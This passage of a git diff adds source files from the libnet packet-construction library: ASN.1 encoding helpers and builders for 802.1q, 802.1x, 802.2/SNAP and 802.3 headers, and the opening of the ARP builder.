+ * modification, are permitted provided that: (1) source code distributions
+ * retain the above copyright notice and this paragraph in its entirety, (2)
+ * distributions including binary code include the above copyright notice and
+ * this paragraph in its entirety in the documentation or other materials
+ * provided with the distribution, and (3) all advertising materials mentioning
+ * features or use of this software display the following acknowledgement:
+ * ``This product includes software developed by the University of California,
+ * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
+ * the University nor the names of its contributors may be used to endorse
+ * or promote products derived from this software without specific prior
+ * written permission.
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+u_int8_t *
+libnet_build_asn1_int(u_int8_t *data, int *datalen, u_int8_t type, int32_t *int_p,
+ int int_s)
+{
+ /*
+ * ASN.1 integer ::= 0x02 asnlength byte {byte}*
+ */
+ register int32_t integer;
+ register u_int32_t mask;
+
+ if (int_s != sizeof (int32_t))
+ {
+ return (NULL);
+ }
+ integer = *int_p;
+
+ /*
+ * Truncate "unnecessary" bytes off of the most significant end of this
+ * 2's complement integer. There should be no sequence of 9 consecutive
+ * 1's or 0's at the most significant end of the integer.
+ */
+ mask = ((u_int32_t) 0x1FF) << ((8 * (sizeof (int32_t) - 1)) - 1);
+ /* mask is 0xFF800000 on a big-endian machine */
+
+ while ((((integer & mask) == 0) || ((integer & mask) == mask)) && int_s > 1)
+ {
+ int_s--;
+ integer <<= 8;
+ }
+
+ data = libnet_build_asn1_header(data, datalen, type, int_s);
+
+ if (data == NULL || *datalen < int_s)
+ {
+ return (NULL);
+ }
+
+ *datalen -= int_s;
+
+ mask = ((u_int32_t) 0xFF) << (8 * (sizeof(int32_t) - 1));
+ /* mask is 0xFF000000 on a big-endian machine */
+
+ while (int_s--)
+ {
+ *data++ = (u_int8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1)));
+ integer <<= 8;
+ }
+ return (data);
+}
+
+
+u_int8_t *
+libnet_build_asn1_uint(u_int8_t *data, int *datalen, u_int8_t type, u_int32_t *int_p,
+ int int_s)
+{
+ /*
+ * ASN.1 integer ::= 0x02 asnlength byte {byte}*
+ */
+ register u_int32_t integer;
+ register u_int32_t mask;
+ int add_null_byte = 0;
+
+ if (int_s != sizeof (int32_t))
+ {
+ return (NULL);
+ }
+ integer = *int_p;
+
+ mask = ((u_int32_t) 0xFF) << (8 * (sizeof (int32_t) - 1));
+ /* mask is 0xFF000000 on a big-endian machine */
+
+ if ((u_int8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1))) & 0x80)
+ {
+ /* if MSB is set */
+ add_null_byte = 1;
+ int_s++;
+ }
+ else
+ {
+ /*
+ * Truncate "unnecessary" bytes off of the most significant end of this
+ * 2's complement integer. There should be no sequence of 9
+ * consecutive 1's or 0's at the most significant end of the
+ * integer.
+ */
+ mask = ((u_int32_t) 0x1FF) << ((8 * (sizeof(int32_t) - 1)) - 1);
+ /* mask is 0xFF800000 on a big-endian machine */
+
+ while (((integer & mask) == 0) && int_s > 1)
+ {
+ int_s--;
+ integer <<= 8;
+ }
+ }
+
+ data = libnet_build_asn1_header(data, datalen, type, int_s);
+
+ if (data == NULL || *datalen < int_s)
+ {
+ return (NULL);
+ }
+
+ *datalen -= int_s;
+
+ if (add_null_byte == 1)
+ {
+ *data++ = '\0';
+ int_s--;
+ }
+
+ mask = ((u_int32_t) 0xFF) << (8 * (sizeof(int32_t) - 1));
+ /* mask is 0xFF000000 on a big-endian machine */
+
+ while (int_s--)
+ {
+ *data++ = (u_int8_t)((integer & mask) >> (8 * (sizeof (int32_t) - 1)));
+ integer <<= 8;
+ }
+ return (data);
+}
+
+
+u_int8_t *
+libnet_build_asn1_string(u_int8_t *data, int *datalen, u_int8_t type,
+ u_int8_t *string, int str_s)
+{
+
+ /*
+ * ASN.1 octet string ::= primstring | cmpdstring
+ * primstring ::= 0x04 asnlength byte {byte}*
+ * cmpdstring ::= 0x24 asnlength string {string}*
+ * This code will never send a compound string.
+ */
+ data = libnet_build_asn1_header(data, datalen, type, str_s);
+
+ if (data == NULL || *datalen < str_s)
+ {
+ return (NULL);
+ }
+ memmove(data, string, str_s);
+ *datalen -= str_s;
+
+ return (data + str_s);
+}
+
+
+u_int8_t *
+libnet_build_asn1_header(u_int8_t *data, int *datalen, u_int8_t type, int len)
+{
+ if (*datalen < 1)
+ {
+ return (NULL);
+ }
+ *data++ = type;
+ (*datalen)--;
+
+ return (libnet_build_asn1_length(data, datalen, len));
+}
+
+
+u_int8_t *
+libnet_build_asn1_sequence(u_int8_t *data, int *datalen, u_int8_t type, int len)
+{
+ *datalen -= 4;
+ if (*datalen < 0)
+ {
+ *datalen += 4; /* fix up before punting */
+ return (NULL);
+ }
+ *data++ = type;
+ *data++ = (u_int8_t)(0x02 | ASN_LONG_LEN);
+ *data++ = (u_int8_t)((len >> 8) & 0xFF);
+ *data++ = (u_int8_t)(len & 0xFF);
+ return (data);
+}
+
+
+u_int8_t *
+libnet_build_asn1_length(u_int8_t *data, int *datalen, int len)
+{
+ u_int8_t *start_data = data;
+
+ /* no indefinite lengths sent */
+ if (len < 0x80)
+ {
+ if (*datalen < 1)
+ {
+ return (NULL);
+ }
+ *data++ = (u_int8_t)len;
+ }
+ else if (len <= 0xFF)
+ {
+ if (*datalen < 2)
+ {
+ return (NULL);
+ }
+ *data++ = (u_int8_t)(0x01 | ASN_LONG_LEN);
+ *data++ = (u_int8_t)len;
+ }
+ else /* 0xFF < len <= 0xFFFF */
+ {
+ if (*datalen < 3)
+ {
+ return (NULL);
+ }
+ *data++ = (u_int8_t)(0x02 | ASN_LONG_LEN);
+ *data++ = (u_int8_t)((len >> 8) & 0xFF);
+ *data++ = (u_int8_t)(len & 0xFF);
+ }
+ *datalen -= (data - start_data);
+ return (data);
+}
+
+
+u_int8_t *
+libnet_build_asn1_objid(u_int8_t *data, int *datalen, u_int8_t type, oid *objid,
+ int objidlen)
+{
+ /*
+ * ASN.1 objid ::= 0x06 asnlength subidentifier {subidentifier}*
+ * subidentifier ::= {leadingbyte}* lastbyte
+ * leadingbyte ::= 1 7bitvalue
+ * lastbyte ::= 0 7bitvalue
+ */
+ int asnlen;
+ register oid *op = objid;
+ u_int8_t objid_size[MAX_OID_LEN];
+ register u_int32_t objid_val;
+ u_int32_t first_objid_val;
+ register int i;
+
+ /* check if there are at least 2 sub-identifiers */
+ if (objidlen < 2)
+ {
+ /* there are not, so make OID have two with value of zero */
+ objid_val = 0;
+ objidlen = 2;
+ }
+ else
+ {
+ /* combine the first two values */
+ objid_val = (op[0] * 40) + op[1];
+ op += 2;
+ }
+ first_objid_val = objid_val;
+
+ /* calculate the number of bytes needed to store the encoded value */
+ for (i = 1, asnlen = 0;;)
+ {
+ if (objid_val < (unsigned)0x80)
+ {
+ objid_size[i] = 1;
+ asnlen += 1;
+ }
+ else if (objid_val < (unsigned)0x4000)
+ {
+ objid_size[i] = 2;
+ asnlen += 2;
+ }
+ else if (objid_val < (unsigned)0x200000)
+ {
+ objid_size[i] = 3;
+ asnlen += 3;
+ }
+ else if (objid_val < (unsigned)0x10000000)
+ {
+ objid_size[i] = 4;
+ asnlen += 4;
+ }
+ else
+ {
+ objid_size[i] = 5;
+ asnlen += 5;
+ }
+ i++;
+ if (i >= objidlen)
+ {
+ break;
+ }
+ objid_val = *op++;
+ }
+
+ /* store the ASN.1 tag and length */
+ data = libnet_build_asn1_header(data, datalen, type, asnlen);
+ if (data == NULL || *datalen < asnlen)
+ {
+ return (NULL);
+ }
+
+ /* store the encoded OID value */
+ for (i = 1, objid_val = first_objid_val, op = objid + 2; i < objidlen; i++)
+ {
+ if (i != 1)
+ {
+ objid_val = *op++;
+ }
+ switch (objid_size[i])
+ {
+ case 1:
+ *data++ = (u_int8_t)objid_val;
+ break;
+
+ case 2:
+ *data++ = (u_int8_t)((objid_val >> 7) | 0x80);
+ *data++ = (u_int8_t)(objid_val & 0x07f);
+ break;
+ case 3:
+ *data++ = (u_int8_t)((objid_val >> 14) | 0x80);
+ *data++ = (u_int8_t)((objid_val >> 7 & 0x7f) | 0x80);
+ *data++ = (u_int8_t)(objid_val & 0x07f);
+ break;
+
+ case 4:
+ *data++ = (u_int8_t)((objid_val >> 21) | 0x80);
+ *data++ = (u_int8_t)((objid_val >> 14 & 0x7f) | 0x80);
+ *data++ = (u_int8_t)((objid_val >> 7 & 0x7f) | 0x80);
+ *data++ = (u_int8_t)(objid_val & 0x07f);
+ break;
+
+ case 5:
+ *data++ = (u_int8_t)((objid_val >> 28) | 0x80);
+ *data++ = (u_int8_t)((objid_val >> 21 & 0x7f) | 0x80);
+ *data++ = (u_int8_t)((objid_val >> 14 & 0x7f) | 0x80);
+ *data++ = (u_int8_t)((objid_val >> 7 & 0x7f) | 0x80);
+ *data++ = (u_int8_t)(objid_val & 0x07f);
+ break;
+ }
+ }
+
+ /* return the length and data ptagr */
+ *datalen -= asnlen;
+ return (data);
+}
+
+
+u_int8_t *
+libnet_build_asn1_null(u_int8_t *data, int *datalen, u_int8_t type)
+{
+ /*
+ * ASN.1 null ::= 0x05 0x00
+ */
+ return (libnet_build_asn1_header(data, datalen, type, 0));
+}
+
+
+u_int8_t *
+libnet_build_asn1_bitstring(u_int8_t *data, int *datalen, u_int8_t type,
+ u_int8_t *string, int str_s)
+{
+
+ /*
+ * ASN.1 bit string ::= 0x03 asnlength unused {byte}*
+ */
+ if (str_s < 1 || *string > 7)
+ {
+ return (NULL);
+ }
+ data = libnet_build_asn1_header(data, datalen, type, str_s);
+
+ if (data == NULL || *datalen < str_s)
+ {
+ return (NULL);
+ }
+
+ memmove(data, string, str_s);
+ *datalen -= str_s;
+
+ return (data + str_s);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_802.1q.c b/libnet/src/libnet_build_802.1q.c
new file mode 100644
index 0000000..fe6ca6e
--- /dev/null
+++ b/libnet/src/libnet_build_802.1q.c
@@ -0,0 +1,115 @@
+/*
+ * $Id: libnet_build_802.1q.c,v 1.10 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_build_802.1q.c - 802.1q packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_802_1q(u_int8_t *dst, u_int8_t *src, u_int16_t tpi,
+u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_802_1q_hdr _802_1q_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_802_1Q_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_1Q_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&_802_1q_hdr, 0, sizeof(_802_1q_hdr));
+ memcpy(_802_1q_hdr.vlan_dhost, dst, ETHER_ADDR_LEN);
+ memcpy(_802_1q_hdr.vlan_shost, src, ETHER_ADDR_LEN);
+ _802_1q_hdr.vlan_tpi = htons(tpi);
+ _802_1q_hdr.vlan_priority_c_vid = htons((priority << 13) | (cfi << 12)
+ | (vlan_id & LIBNET_802_1Q_VIDMASK));
+ _802_1q_hdr.vlan_len = htons(len_proto);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&_802_1q_hdr, LIBNET_802_1Q_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ /*
+ * The link offset is actually 4 bytes further into the header than
+ * before (the VLAN header adds this 4 bytes). We need to update the
+ * link offset pointer. XXX - should we set this here?
+ * Probably not. We should make pblock_coalesce check the pblock type
+ * and adjust accordingly.
+ */
+ l->link_offset += 4;
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_802_1Q_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_build_802.1x.c b/libnet/src/libnet_build_802.1x.c
new file mode 100644
index 0000000..bf325eb
--- /dev/null
+++ b/libnet/src/libnet_build_802.1x.c
@@ -0,0 +1,103 @@
+/*
+ * $Id: libnet_build_802.1x.c,v 1.11 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_build_802.1x.c - 802.1x packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_802_1x(u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_802_1x_hdr dot1x_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_802_1X_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_1X_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&dot1x_hdr, 0, sizeof(dot1x_hdr));
+ dot1x_hdr.dot1x_version = eap_ver;
+ dot1x_hdr.dot1x_type = eap_type;
+ dot1x_hdr.dot1x_length = htons(length);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&dot1x_hdr, LIBNET_802_1X_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_802_1X_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_build_802.2.c b/libnet/src/libnet_build_802.2.c
new file mode 100644
index 0000000..38eea6f
--- /dev/null
+++ b/libnet/src/libnet_build_802.2.c
@@ -0,0 +1,167 @@
+/*
+ * $Id: libnet_build_802.2.c,v 1.10 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_build_802.2.c - 802.2 packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_802_2(u_int8_t dsap, u_int8_t ssap, u_int8_t control,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_802_2_hdr _802_2_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_802_2_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_2_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&_802_2_hdr, 0, sizeof(_802_2_hdr));
+ _802_2_hdr.llc_dsap = dsap;
+ _802_2_hdr.llc_ssap = ssap;
+ _802_2_hdr.llc_control = control;
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&_802_2_hdr, LIBNET_802_2_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_802_2_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+libnet_ptag_t
+libnet_build_802_2snap(u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t *oui,
+ u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l,
+ libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_802_2snap_hdr _802_2_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_802_2SNAP_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_2SNAP_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&_802_2_hdr, 0, sizeof(_802_2_hdr));
+ _802_2_hdr.snap_dsap = dsap;
+ _802_2_hdr.snap_ssap = ssap;
+ _802_2_hdr.snap_control = control;
+ memcpy(_802_2_hdr.snap_oui, oui, 3);
+ _802_2_hdr.snap_type = htons(type);
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&_802_2_hdr, LIBNET_802_2SNAP_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h,
+ LIBNET_PBLOCK_802_2SNAP_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+
+/* EOF */
diff --git a/libnet/src/libnet_build_802.3.c b/libnet/src/libnet_build_802.3.c
new file mode 100644
index 0000000..b1b5168
--- /dev/null
+++ b/libnet/src/libnet_build_802.3.c
@@ -0,0 +1,101 @@
+/*
+ * $Id: libnet_build_802.3.c,v 1.9 2004/01/28 19:45:00 mike Exp $
+ *
+ * libnet
+ * libnet_build_802_3.c - 802.3 packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+libnet_ptag_t
+libnet_build_802_3(u_int8_t *dst, u_int8_t *src, u_int16_t len,
+u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)
+{
+ u_int32_t n, h;
+ libnet_pblock_t *p;
+ struct libnet_802_3_hdr _802_3_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ n = LIBNET_802_3_H + payload_s;
+ h = 0;
+
+ /*
+ * Find the existing protocol block if a ptag is specified, or create
+ * a new one.
+ */
+ p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_802_3_H);
+ if (p == NULL)
+ {
+ return (-1);
+ }
+
+ memset(&_802_3_hdr, 0, sizeof(_802_3_hdr));
+ memcpy(_802_3_hdr._802_3_dhost, dst, ETHER_ADDR_LEN); /* dest address */
+ memcpy(_802_3_hdr._802_3_shost, src, ETHER_ADDR_LEN); /* src address */
+ _802_3_hdr._802_3_len = htons(len); /* packet length */
+
+ n = libnet_pblock_append(l, p, (u_int8_t *)&_802_3_hdr, LIBNET_802_3_H);
+ if (n == -1)
+ {
+ goto bad;
+ }
+
+ if ((payload && !payload_s) || (!payload && payload_s))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): payload inconsistency\n", __func__);
+ goto bad;
+ }
+
+ if (payload && payload_s)
+ {
+ n = libnet_pblock_append(l, p, payload, payload_s);
+ if (n == -1)
+ {
+ goto bad;
+ }
+ }
+
+ return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_802_3_H));
+bad:
+ libnet_pblock_delete(l, p);
+ return (-1);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_build_arp.c b/libnet/src/libnet_build_arp.c
new file mode 100644
index 0000000..442120c
--- /dev/null
+++ b/libnet/src/libnet_build_arp.c
@@ -0,0 +1,169 @@
+/*
+ * $Id: libnet_build_arp.c,v 1.12 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet
+ * libnet_build_arp.c - ARP packet assembler
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+
+libnet_ptag_t
+libnet_build_arp(u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln,
+u_int16_t op, u_int8_t *sha, u_int8_t *spa, u_int8_t *tha, u_int8_t *tpa,
